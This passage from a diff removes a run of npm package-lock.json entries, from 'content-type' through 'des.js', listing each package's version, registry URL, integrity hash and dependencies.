-      "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
-      "requires": {
-        "safe-buffer": "5.1.2"
-      }
-    },
-    "content-type": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
-      "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA=="
-    },
-    "convert-source-map": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.7.0.tgz",
-      "integrity": "sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==",
-      "requires": {
-        "safe-buffer": "~5.1.1"
-      }
-    },
-    "cookie": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
-      "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg=="
-    },
-    "cookie-signature": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
-      "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
-    },
-    "copy-concurrently": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz",
-      "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==",
-      "requires": {
-        "aproba": "^1.1.1",
-        "fs-write-stream-atomic": "^1.0.8",
-        "iferr": "^0.1.5",
-        "mkdirp": "^0.5.1",
-        "rimraf": "^2.5.4",
-        "run-queue": "^1.0.0"
-      }
-    },
-    "copy-descriptor": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
-      "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40="
-    },
-    "core-js": {
-      "version": "3.6.5",
-      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz",
-      "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA=="
-    },
-    "core-js-compat": {
-      "version": "3.6.5",
-      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz",
-      "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==",
-      "requires": {
-        "browserslist": "^4.8.5",
-        "semver": "7.0.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.0.0",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz",
-          "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A=="
-        }
-      }
-    },
-    "core-js-pure": {
-      "version": "3.6.5",
-      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.6.5.tgz",
-      "integrity": "sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA=="
-    },
-    "core-util-is": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
-      "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
-    },
-    "cosmiconfig": {
-      "version": "5.2.1",
-      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz",
-      "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==",
-      "requires": {
-        "import-fresh": "^2.0.0",
-        "is-directory": "^0.3.1",
-        "js-yaml": "^3.13.1",
-        "parse-json": "^4.0.0"
-      }
-    },
-    "create-ecdh": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.3.tgz",
-      "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "elliptic": "^6.0.0"
-      }
-    },
-    "create-hash": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
-      "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
-      "requires": {
-        "cipher-base": "^1.0.1",
-        "inherits": "^2.0.1",
-        "md5.js": "^1.3.4",
-        "ripemd160": "^2.0.1",
-        "sha.js": "^2.4.0"
-      }
-    },
-    "create-hmac": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
-      "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
-      "requires": {
-        "cipher-base": "^1.0.3",
-        "create-hash": "^1.1.0",
-        "inherits": "^2.0.1",
-        "ripemd160": "^2.0.0",
-        "safe-buffer": "^5.0.1",
-        "sha.js": "^2.4.8"
-      }
-    },
-    "cross-spawn": {
-      "version": "6.0.5",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
-      "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
-      "requires": {
-        "nice-try": "^1.0.4",
-        "path-key": "^2.0.1",
-        "semver": "^5.5.0",
-        "shebang-command": "^1.2.0",
-        "which": "^1.2.9"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "crypto-browserify": {
-      "version": "3.12.0",
-      "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz",
-      "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==",
-      "requires": {
-        "browserify-cipher": "^1.0.0",
-        "browserify-sign": "^4.0.0",
-        "create-ecdh": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "create-hmac": "^1.1.0",
-        "diffie-hellman": "^5.0.0",
-        "inherits": "^2.0.1",
-        "pbkdf2": "^3.0.3",
-        "public-encrypt": "^4.0.0",
-        "randombytes": "^2.0.0",
-        "randomfill": "^1.0.3"
-      }
-    },
-    "css": {
-      "version": "2.2.4",
-      "resolved": "https://registry.npmjs.org/css/-/css-2.2.4.tgz",
-      "integrity": "sha512-oUnjmWpy0niI3x/mPL8dVEI1l7MnG3+HHyRPHf+YFSbK+svOhXpmSOcDURUh2aOCgl2grzrOPt1nHLuCVFULLw==",
-      "requires": {
-        "inherits": "^2.0.3",
-        "source-map": "^0.6.1",
-        "source-map-resolve": "^0.5.2",
-        "urix": "^0.1.0"
-      }
-    },
-    "css-blank-pseudo": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-0.1.4.tgz",
-      "integrity": "sha512-LHz35Hr83dnFeipc7oqFDmsjHdljj3TQtxGGiNWSOsTLIAubSm4TEz8qCaKFpk7idaQ1GfWscF4E6mgpBysA1w==",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "css-color-names": {
-      "version": "0.0.4",
-      "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz",
-      "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA="
-    },
-    "css-declaration-sorter": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-4.0.1.tgz",
-      "integrity": "sha512-BcxQSKTSEEQUftYpBVnsH4SF05NTuBokb19/sBt6asXGKZ/6VP7PLG1CBCkFDYOnhXhPh0jMhO6xZ71oYHXHBA==",
-      "requires": {
-        "postcss": "^7.0.1",
-        "timsort": "^0.3.0"
-      }
-    },
-    "css-has-pseudo": {
-      "version": "0.10.0",
-      "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-0.10.0.tgz",
-      "integrity": "sha512-Z8hnfsZu4o/kt+AuFzeGpLVhFOGO9mluyHBaA2bA8aCGTwah5sT3WV/fTHH8UNZUytOIImuGPrl/prlb4oX4qQ==",
-      "requires": {
-        "postcss": "^7.0.6",
-        "postcss-selector-parser": "^5.0.0-rc.4"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-2.0.0.tgz",
-          "integrity": "sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg=="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ==",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "css-loader": {
-      "version": "3.4.2",
-      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.4.2.tgz",
-      "integrity": "sha512-jYq4zdZT0oS0Iykt+fqnzVLRIeiPWhka+7BqPn+oSIpWJAHak5tmB/WZrJ2a21JhCeFyNnnlroSl8c+MtVndzA==",
-      "requires": {
-        "camelcase": "^5.3.1",
-        "cssesc": "^3.0.0",
-        "icss-utils": "^4.1.1",
-        "loader-utils": "^1.2.3",
-        "normalize-path": "^3.0.0",
-        "postcss": "^7.0.23",
-        "postcss-modules-extract-imports": "^2.0.0",
-        "postcss-modules-local-by-default": "^3.0.2",
-        "postcss-modules-scope": "^2.1.1",
-        "postcss-modules-values": "^3.0.0",
-        "postcss-value-parser": "^4.0.2",
-        "schema-utils": "^2.6.0"
-      },
-      "dependencies": {
-        "normalize-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
-          "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
-        }
-      }
-    },
-    "css-prefers-color-scheme": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-3.1.1.tgz",
-      "integrity": "sha512-MTu6+tMs9S3EUqzmqLXEcgNRbNkkD/TGFvowpeoWJn5Vfq7FMgsmRQs9X5NXAURiOBmOxm/lLjsDNXDE6k9bhg==",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "css-select": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
-      "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
-      "requires": {
-        "boolbase": "^1.0.0",
-        "css-what": "^3.2.1",
-        "domutils": "^1.7.0",
-        "nth-check": "^1.0.2"
-      }
-    },
-    "css-select-base-adapter": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
-      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
-    },
-    "css-tree": {
-      "version": "1.0.0-alpha.37",
-      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
-      "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
-      "requires": {
-        "mdn-data": "2.0.4",
-        "source-map": "^0.6.1"
-      }
-    },
-    "css-what": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.2.1.tgz",
-      "integrity": "sha512-WwOrosiQTvyms+Ti5ZC5vGEK0Vod3FTt1ca+payZqvKuGJF+dq7bG63DstxtN0dpm6FxY27a/zS3Wten+gEtGw=="
-    },
-    "css.escape": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
-      "integrity": "sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s="
-    },
-    "cssdb": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-4.4.0.tgz",
-      "integrity": "sha512-LsTAR1JPEM9TpGhl/0p3nQecC2LJ0kD8X5YARu1hk/9I1gril5vDtMZyNxcEpxxDj34YNck/ucjuoUd66K03oQ=="
-    },
-    "cssesc": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
-      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="
-    },
-    "cssnano": {
-      "version": "4.1.10",
-      "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.1.10.tgz",
-      "integrity": "sha512-5wny+F6H4/8RgNlaqab4ktc3e0/blKutmq8yNlBFXA//nSFFAqAngjNVRzUvCgYROULmZZUoosL/KSoZo5aUaQ==",
-      "requires": {
-        "cosmiconfig": "^5.0.0",
-        "cssnano-preset-default": "^4.0.7",
-        "is-resolvable": "^1.0.0",
-        "postcss": "^7.0.0"
-      }
-    },
-    "cssnano-preset-default": {
-      "version": "4.0.7",
-      "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.7.tgz",
-      "integrity": "sha512-x0YHHx2h6p0fCl1zY9L9roD7rnlltugGu7zXSKQx6k2rYw0Hi3IqxcoAGF7u9Q5w1nt7vK0ulxV8Lo+EvllGsA==",
-      "requires": {
-        "css-declaration-sorter": "^4.0.1",
-        "cssnano-util-raw-cache": "^4.0.1",
-        "postcss": "^7.0.0",
-        "postcss-calc": "^7.0.1",
-        "postcss-colormin": "^4.0.3",
-        "postcss-convert-values": "^4.0.1",
-        "postcss-discard-comments": "^4.0.2",
-        "postcss-discard-duplicates": "^4.0.2",
-        "postcss-discard-empty": "^4.0.1",
-        "postcss-discard-overridden": "^4.0.1",
-        "postcss-merge-longhand": "^4.0.11",
-        "postcss-merge-rules": "^4.0.3",
-        "postcss-minify-font-values": "^4.0.2",
-        "postcss-minify-gradients": "^4.0.2",
-        "postcss-minify-params": "^4.0.2",
-        "postcss-minify-selectors": "^4.0.2",
-        "postcss-normalize-charset": "^4.0.1",
-        "postcss-normalize-display-values": "^4.0.2",
-        "postcss-normalize-positions": "^4.0.2",
-        "postcss-normalize-repeat-style": "^4.0.2",
-        "postcss-normalize-string": "^4.0.2",
-        "postcss-normalize-timing-functions": "^4.0.2",
-        "postcss-normalize-unicode": "^4.0.1",
-        "postcss-normalize-url": "^4.0.1",
-        "postcss-normalize-whitespace": "^4.0.2",
-        "postcss-ordered-values": "^4.1.2",
-        "postcss-reduce-initial": "^4.0.3",
-        "postcss-reduce-transforms": "^4.0.2",
-        "postcss-svgo": "^4.0.2",
-        "postcss-unique-selectors": "^4.0.1"
-      }
-    },
-    "cssnano-util-get-arguments": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz",
-      "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8="
-    },
-    "cssnano-util-get-match": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz",
-      "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0="
-    },
-    "cssnano-util-raw-cache": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.1.tgz",
-      "integrity": "sha512-qLuYtWK2b2Dy55I8ZX3ky1Z16WYsx544Q0UWViebptpwn/xDBmog2TLg4f+DBMg1rJ6JDWtn96WHbOKDWt1WQA==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "cssnano-util-same-parent": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.1.tgz",
-      "integrity": "sha512-WcKx5OY+KoSIAxBW6UBBRay1U6vkYheCdjyVNDm85zt5K9mHoGOfsOsqIszfAqrQQFIIKgjh2+FDgIj/zsl21Q=="
-    },
-    "csso": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/csso/-/csso-4.0.3.tgz",
-      "integrity": "sha512-NL3spysxUkcrOgnpsT4Xdl2aiEiBG6bXswAABQVHcMrfjjBisFOKwLDOmf4wf32aPdcJws1zds2B0Rg+jqMyHQ==",
-      "requires": {
-        "css-tree": "1.0.0-alpha.39"
-      },
-      "dependencies": {
-        "css-tree": {
-          "version": "1.0.0-alpha.39",
-          "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.39.tgz",
-          "integrity": "sha512-7UvkEYgBAHRG9Nt980lYxjsTrCyHFN53ky3wVsDkiMdVqylqRt+Zc+jm5qw7/qyOvN2dHSYtX0e4MbCCExSvnA==",
-          "requires": {
-            "mdn-data": "2.0.6",
-            "source-map": "^0.6.1"
-          }
-        },
-        "mdn-data": {
-          "version": "2.0.6",
-          "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.6.tgz",
-          "integrity": "sha512-rQvjv71olwNHgiTbfPZFkJtjNMciWgswYeciZhtvWLO8bmX3TnhyA62I6sTWOyZssWHJJjY6/KiWwqQsWWsqOA=="
-        }
-      }
-    },
-    "cssom": {
-      "version": "0.3.8",
-      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
-      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
-    },
-    "cssstyle": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-1.4.0.tgz",
-      "integrity": "sha512-GBrLZYZ4X4x6/QEoBnIrqb8B/f5l4+8me2dkom/j1Gtbxy0kBv6OGzKuAsGM75bkGwGAFkt56Iwg28S3XTZgSA==",
-      "requires": {
-        "cssom": "0.3.x"
-      }
-    },
-    "csstype": {
-      "version": "2.6.10",
-      "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz",
-      "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w=="
-    },
-    "cyclist": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz",
-      "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk="
-    },
-    "d": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
-      "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
-      "requires": {
-        "es5-ext": "^0.10.50",
-        "type": "^1.0.1"
-      }
-    },
-    "damerau-levenshtein": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.6.tgz",
-      "integrity": "sha512-JVrozIeElnj3QzfUIt8tB8YMluBJom4Vw9qTPpjGYQ9fYlB3D/rb6OordUxf3xeFB35LKWs0xqcO5U6ySvBtug=="
-    },
-    "dashdash": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
-      "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "data-urls": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-1.1.0.tgz",
-      "integrity": "sha512-YTWYI9se1P55u58gL5GkQHW4P6VJBJ5iBT+B5a7i2Tjadhv52paJG0qHX4A0OR6/t52odI64KP2YvFpkDOi3eQ==",
-      "requires": {
-        "abab": "^2.0.0",
-        "whatwg-mimetype": "^2.2.0",
-        "whatwg-url": "^7.0.0"
-      },
-      "dependencies": {
-        "whatwg-url": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
-          "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
-          "requires": {
-            "lodash.sortby": "^4.7.0",
-            "tr46": "^1.0.1",
-            "webidl-conversions": "^4.0.2"
-          }
-        }
-      }
-    },
-    "debug": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
-      "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
-      "requires": {
-        "ms": "^2.1.1"
-      }
-    },
-    "decamelize": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
-      "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA="
-    },
-    "decode-uri-component": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz",
-      "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
-    },
-    "deep-equal": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz",
-      "integrity": "sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==",
-      "requires": {
-        "is-arguments": "^1.0.4",
-        "is-date-object": "^1.0.1",
-        "is-regex": "^1.0.4",
-        "object-is": "^1.0.1",
-        "object-keys": "^1.1.1",
-        "regexp.prototype.flags": "^1.2.0"
-      }
-    },
-    "deep-is": {
-      "version": "0.1.3",
-      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz",
-      "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ="
-    },
-    "default-gateway": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-4.2.0.tgz",
-      "integrity": "sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==",
-      "requires": {
-        "execa": "^1.0.0",
-        "ip-regex": "^2.1.0"
-      }
-    },
-    "define-properties": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz",
-      "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==",
-      "requires": {
-        "object-keys": "^1.0.12"
-      }
-    },
-    "define-property": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
-      "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
-      "requires": {
-        "is-descriptor": "^1.0.2",
-        "isobject": "^3.0.1"
-      },
-      "dependencies": {
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "del": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz",
-      "integrity": "sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==",
-      "requires": {
-        "@types/glob": "^7.1.1",
-        "globby": "^6.1.0",
-        "is-path-cwd": "^2.0.0",
-        "is-path-in-cwd": "^2.0.0",
-        "p-map": "^2.0.0",
-        "pify": "^4.0.1",
-        "rimraf": "^2.6.3"
-      },
-      "dependencies": {
-        "globby": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz",
-          "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=",
-          "requires": {
-            "array-union": "^1.0.1",
-            "glob": "^7.0.3",
-            "object-assign": "^4.0.1",
-            "pify": "^2.0.0",
-            "pinkie-promise": "^2.0.0"
-          },
-          "dependencies": {
-            "pify": {
-              "version": "2.3.0",
-              "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
-              "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw="
-            }
-          }
-        },
-        "p-map": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz",
-          "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw=="
-        },
-        "pify": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
-          "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
-        }
-      }
-    },
-    "delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
-      "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
-    },
-    "depd": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
-      "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
-    },
-    "des.js": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.1.tgz",
